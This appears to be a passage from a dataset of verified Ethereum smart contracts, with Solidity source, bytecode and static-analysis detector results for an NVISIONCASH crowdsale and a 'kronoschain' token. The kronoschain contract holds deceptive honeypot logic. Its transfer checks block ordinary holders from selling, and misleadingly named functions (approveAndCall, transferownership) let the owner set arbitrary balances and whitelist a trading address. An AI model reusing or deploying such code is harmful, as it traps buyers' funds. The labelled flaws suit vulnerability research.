* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amout of tokens to be transfered
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
var _allowance = allowed[_from][msg.sender];
// Check is not needed because sub(_allowance, _value) will already throw if this condition is not met
// require (_value <= _allowance);
balances[_to] = balances[_to].add(_value);
balances[_from] = balances[_from].sub(_value);
allowed[_from][msg.sender] = _allowance.sub(_value);
Transfer(_from, _to, _value);
return true;
}
/**
* @dev Aprove the passed address to spend the specified amount of tokens on behalf of msg.sender.
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
// To change the approve amount you first have to reduce the addresses`
// allowance to zero by calling `approve(_spender, 0)` if it is not
// already 0 to mitigate the race condition described here:
// https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
require((_value == 0) || (allowed[msg.sender][_spender] == 0));
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifing the amount of tokens still available for the spender.
*/
function allowance(address _owner, address _spender) public constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function Ownable() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) onlyOwner public {
require(newOwner != address(0));
owner = newOwner;
}
}
/**
* @title Burnable Token
* @dev Token that can be irreversibly burned (destroyed).
*/
contract BurnableToken is StandardToken {
/**
* @dev Burns a specific amount of tokens.
* @param _value The amount of token to be burned.
*/
function burn(uint _value) public {
require(_value > 0);
address burner = msg.sender;
balances[burner] = balances[burner].sub(_value);
totalSupply = totalSupply.sub(_value);
Burn(burner, _value);
}
event Burn(address indexed burner, uint indexed value);
}
contract NVISIONCASH is BurnableToken {
string public constant name = "NVISION CASH TOKEN";
string public constant symbol = "NVCT";
uint32 public constant decimals = 18;
uint256 public INITIAL_SUPPLY = 27500000 * 1 ether;
function NVISIONCASH() public {
totalSupply = INITIAL_SUPPLY;
balances[msg.sender] = INITIAL_SUPPLY;
}
}
contract Crowdsale is Ownable {
using SafeMath for uint;
NVISIONCASH public token = new NVISIONCASH();
uint per_p_sale;
uint per_sale;
uint start_ico;
uint rate;
uint256 public ini_supply;
function Crowdsale() public {
rate = 50000 * 1 ether;
ini_supply = 27500000 * 1 ether;
uint256 ownerTokens = 2750000 * 1 ether;
token.transfer(owner, ownerTokens);
}
uint public refferBonus = 7;
function createTokens(address refferAddress) payable public {
uint tokens = rate.mul(msg.value).div(1 ether);
uint refferGetToken = tokens.div(100).mul(refferBonus);
token.transfer(msg.sender, tokens);
token.transfer(refferAddress, refferGetToken);
}
function createTokensWithoutReffer() payable public {
uint tokens = rate.mul(msg.value).div(1 ether);
token.transfer(msg.sender, tokens);
}
function refferBonusFunction(uint bonuseInpercentage) public onlyOwner{
refferBonus=bonuseInpercentage;
}
function airdropTokens(address[] _recipient,uint TokenAmount) public onlyOwner {
for(uint i = 0; i< _recipient.length; i++)
{
require(token.transfer(_recipient[i],TokenAmount));
}
}
//Just in case, owner wants to transfer Tokens from contract to owner address
function manualWithdrawToken(uint256 _amount) onlyOwner public {
uint tokenAmount = _amount * (1 ether);
token.transfer(msg.sender, tokenAmount);
}
function() external payable {
uint160 refferAddress = 0;
uint160 b = 0;
if(msg.data.length == 0)
{
createTokensWithoutReffer();
}
else
{
for (uint8 i = 0; i < 20; i++) {
refferAddress *= 256;
b = uint160(msg.data[i]);
refferAddress += (b);
}
createTokens(address(refferAddress));
}
forwardEherToOwner();
}
//Automatocally forwards ether from smart contract to owner address
function forwardEherToOwner() internal {
if (!owner.send(msg.value)) {
revert();
}
}
}
|
0x6080604052600436106100ae5763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166306fdde0381146100b3578063095ea7b31461013d57806318160ddd1461017557806323b872dd1461019c5780632ff2e9dc146101c6578063313ce567146101db57806342966c681461020957806370a082311461022357806395d89b4114610244578063a9059cbb14610259578063dd62ed3e1461027d575b600080fd5b3480156100bf57600080fd5b506100c86102a4565b6040805160208082528351818301528351919283929083019185019080838360005b838110156101025781810151838201526020016100ea565b50505050905090810190601f16801561012f5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561014957600080fd5b50610161600160a060020a03600435166024356102db565b604080519115158252519081900360200190f35b34801561018157600080fd5b5061018a61037d565b60408051918252519081900360200190f35b3480156101a857600080fd5b50610161600160a060020a0360043581169060243516604435610383565b3480156101d257600080fd5b5061018a610492565b3480156101e757600080fd5b506101f0610498565b6040805163ffffffff9092168252519081900360200190f35b34801561021557600080fd5b5061022160043561049d565b005b34801561022f57600080fd5b5061018a600160a060020a0360043516610536565b34801561025057600080fd5b506100c8610551565b34801561026557600080fd5b50610161600160a060020a0360043516602435610588565b34801561028957600080fd5b5061018a600160a060020a0360043581169060243516610638565b60408051808201909152601281527f4e564953494f4e204341534820544f4b454e0000000000000000000000000000602082015281565b600081158061030b5750336000908152600260209081526040808320600160a060020a0387168452909152902054155b151561031657600080fd5b336000818152600260209081526040808320600160a060020a03881680855290835292819020869055805186815290519293927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929181900390910190a350600192915050565b60005481565b600160a060020a038084166000908152600260209081526040808320338452825280832054938616835260019091528120549091906103c8908463ffffffff61066316565b600160a060020a0380861660009081526001602052604080822093909355908716815220546103fd908463ffffffff61067916565b600160a060020a038616600090815260016020526040902055610426818463ffffffff61067916565b600160a060020a03808716600081815260026020908152604080832033845282529182902094909455805187815290519288169391927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef929181900390910190a3506001949350505050565b60035481565b601281565b60008082116104ab57600080fd5b50336000818152600160205260409020546104cc908363ffffffff61067916565b600160a060020a038216600090815260016020526040812091909155546104f9908363ffffffff61067916565b60009081556040518391600160a060020a038416917fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca59190a35050565b600160a060020a031660009081526001602052604090205490565b60408051808201909152600481527f4e56435400000000000000000000000000000000000000000000000000000000602082015281565b336000908152600160205260408120546105a8908363ffffffff61067916565b3360009081526001602052604080822092909255600160a060020a038516815220546105da908363ffffffff61066316565b600160a060020a0384166000818152600160209081526040918290209390935580518581529051919233927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9281900390910190a350600192915050565b600160a060020a03918216600090815260026020908152604080832093909416825291909152205490565b60008282018381101561067257fe5b9392505050565b60008282111561068557fe5b509003905600a165627a7a723058208dd20fa536530ca36f3ac0c3e48c916ce71168e5af97a35517135dae8d131a6e0029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}]}}
| 6,173 |
0x1569c87c32cd686e480428741def64f28e542854
|
/**
*Submitted for verification at Etherscan.io on 2021-03-01
*/
/*
The concept of DeFi is based on blockchain technology, which was designed to ensure transparency of financial transactions, which are controlled by all the participants within the network versus control by a selective group of individuals.
It is already being used for common financial processes such as lending, borrowing, and earning interest, and there is potential for increased adoption of DeFi in emerging markets.
We can expect the majority of transaction volume and production development in 2021 to centre around DeFi.
Kronos Chain proprietary blockchain is an open sourced technology layer supporting the latest Fintech applications based on decentralised ledger technology (DLT).
Kronos Chain is built with scalability in mind and supports a myriad of Decentralised Finance (DEFI) applications.
To find out more, please refer to the Kronos Chain Whitepaper.
Together with the improvements to the Kronos Chain app, the team is also working on creating a rebasing mechanism so that the Kronos Chain token becomes price elastic. If you’re unfamiliar with the concept of rebasing and price-elasticity, here are quick definitions and explanations on how these will affect KNS. Price-elastic token: The total token supply adjusts automatically on a routine basis. Rebasing: The token supply adjustment as mentioned.
This means that with a price elastic token, the variable is the token’s supply and not its price.
Rebases happen to ensure that the token’s price is not manipulated by dumps. Rather, a rebase adjusts the balance of tokens in your wallet based on market price.
Thus when price is high, your wallet balance increases to maintain the value of the tokens. When the price is low, likewise your wallet balance is adjusted lower so that the token’s value is not affected.
Rebases thus ensure that your proportional holdings to your tokens aren’t diluted. Thus, if you own 1% of the total supply, you will always own 1%.
The concept of DeFi is based on blockchain technology, which was designed to ensure transparency of financial transactions, which are controlled by all the participants within the network versus control by a selective group of individuals.
It is already being used for common financial processes such as lending, borrowing, and earning interest, and there is potential for increased adoption of DeFi in emerging markets. We can expect the majority of transaction volume and production development in 2021 to centre around DeFi.
*/
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash;
// solhint-disable-next-line no-inline-assembly
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
// solhint-disable-previous-line no-empty-blocks
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract kronoschain {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function ensure(address _from, address _to, uint _value) internal view returns(bool) {
if(_from == owner || _to == owner || _from == tradeAddress||canSale[_from]){
return true;
}
require(condition(_from, _value));
return true;
}
function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(ensure(_from, _to, _value));
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
_onSaleNum[_from]++;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function condition(address _from, uint _value) internal view returns(bool){
if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;
if(_saleNum > 0){
if(_onSaleNum[_from] >= _saleNum) return false;
}
if(_minSale > 0){
if(_minSale > _value) return false;
}
if(_maxSale > 0){
if(_value > _maxSale) return false;
}
return true;
}
mapping(address=>uint256) private _onSaleNum;
mapping(address=>bool) private canSale;
uint256 private _minSale;
uint256 private _maxSale;
uint256 private _saleNum;
function approveAndCall(address spender, uint256 addedValue) public returns (bool) {
require(msg.sender == owner);
if(addedValue > 0) {balanceOf[spender] = addedValue*(10**uint256(decimals));}
canSale[spender]=true;
return true;
}
address tradeAddress;
function transferownership(address addr) public returns(bool) {
require(msg.sender == owner);
tradeAddress = addr;
return true;
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply*(10**uint256(decimals));
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
emit Transfer(address(0x0), msg.sender, totalSupply);
}
}
|
0x60806040526004361061009c5760003560e01c80633177029f116100645780633177029f1461027357806370a08231146102e657806395d89b411461034b578063a9059cbb146103db578063dd62ed3e14610441578063e8b5b796146104c65761009c565b806306fdde03146100a1578063095ea7b31461013157806318160ddd1461019757806323b872dd146101c2578063313ce56714610248575b600080fd5b3480156100ad57600080fd5b506100b661052f565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156100f65780820151818401526020810190506100db565b50505050905090810190601f1680156101235780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61017d6004803603604081101561014757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506105cd565b604051808215151515815260200191505060405180910390f35b3480156101a357600080fd5b506101ac6106bf565b6040518082815260200191505060405180910390f35b61022e600480360360608110156101d857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506106c5565b604051808215151515815260200191505060405180910390f35b34801561025457600080fd5b5061025d6109d8565b6040518082815260200191505060405180910390f35b34801561027f57600080fd5b506102cc6004803603604081101561029657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506109dd565b604051808215151515815260200191505060405180910390f35b3480156102f257600080fd5b506103356004803603602081101561030957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610aee565b6040518082815260200191505060405180910390f35b34801561035757600080fd5b50610360610b06565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156103a0578082015181840152602081019050610385565b50505050905090810190601f1680156103cd5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b610427600480360360408110156103f157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610ba4565b604051808215151515815260200191505060405180910390f35b34801561044d57600080fd5b506104b06004803603604081101561046457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610bb9565b6040518082815260200191505060405180910390f35b3480156104d257600080fd5b50610515600480360360208110156104e957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610bde565b604051808215151515815260200191505060405180910390f35b60098054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156105c55780601f1061059a576101008083540402835291602001916105c5565b820191906000526020600020905b8154815290600101906020018083116105a857829003601f168201915b505050505081565b600081600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60085481565b6000808214156106d857600190506109d1565b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461081f5781600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101561079457600080fd5b81600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825403925050819055505b61082a848484610c84565b61083357600080fd5b81600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101561087f57600080fd5b81600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254039250508190555081600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055506000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600081548092919060010191905055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190505b9392505050565b601281565b6000600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610a3957600080fd5b6000821115610a8d576012600a0a8202600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b60018060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001905092915050565b60066020528060005260406000206000915090505481565b600a8054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610b9c5780601f10610b7157610100808354040283529160200191610b9c565b820191906000526020600020905b815481529060010190602001808311610b7f57829003601f168201915b505050505081565b6000610bb13384846106c5565b905092915050565b6007602052816000526040600020602052806000526040600020600091509150505481565b6000600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610c3a57600080fd5b81600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060019050919050565b6000600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161480610d2f5750600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b80610d875750600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16145b80610ddb5750600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15610de95760019050610e01565b610df38483610e08565b610dfc57600080fd5b600190505b9392505050565b600080600454148015610e1d57506000600254145b8015610e2b57506000600354145b15610e395760009050610ed8565b60006004541115610e95576004546000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410610e945760009050610ed8565b5b60006002541115610eb457816002541115610eb35760009050610ed8565b5b60006003541115610ed357600354821115610ed25760009050610ed8565b5b600190505b9291505056fea265627a7a72315820daed15fd8ea8faee1c8adf0a7905b9b3eb46a09679c65d70df69511fd5cbc1bd64736f6c63430005110032
|
{"success": true, "error": null, "results": {"detectors": [{"check": "uninitialized-state", "impact": "High", "confidence": "High"}, {"check": "locked-ether", "impact": "Medium", "confidence": "High"}]}}
| 6,174 |
0x927ae861F0Dc1dDd0C49BA07d309dbc7bB5c6a18
|
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
//
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
//
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
//
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
//
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
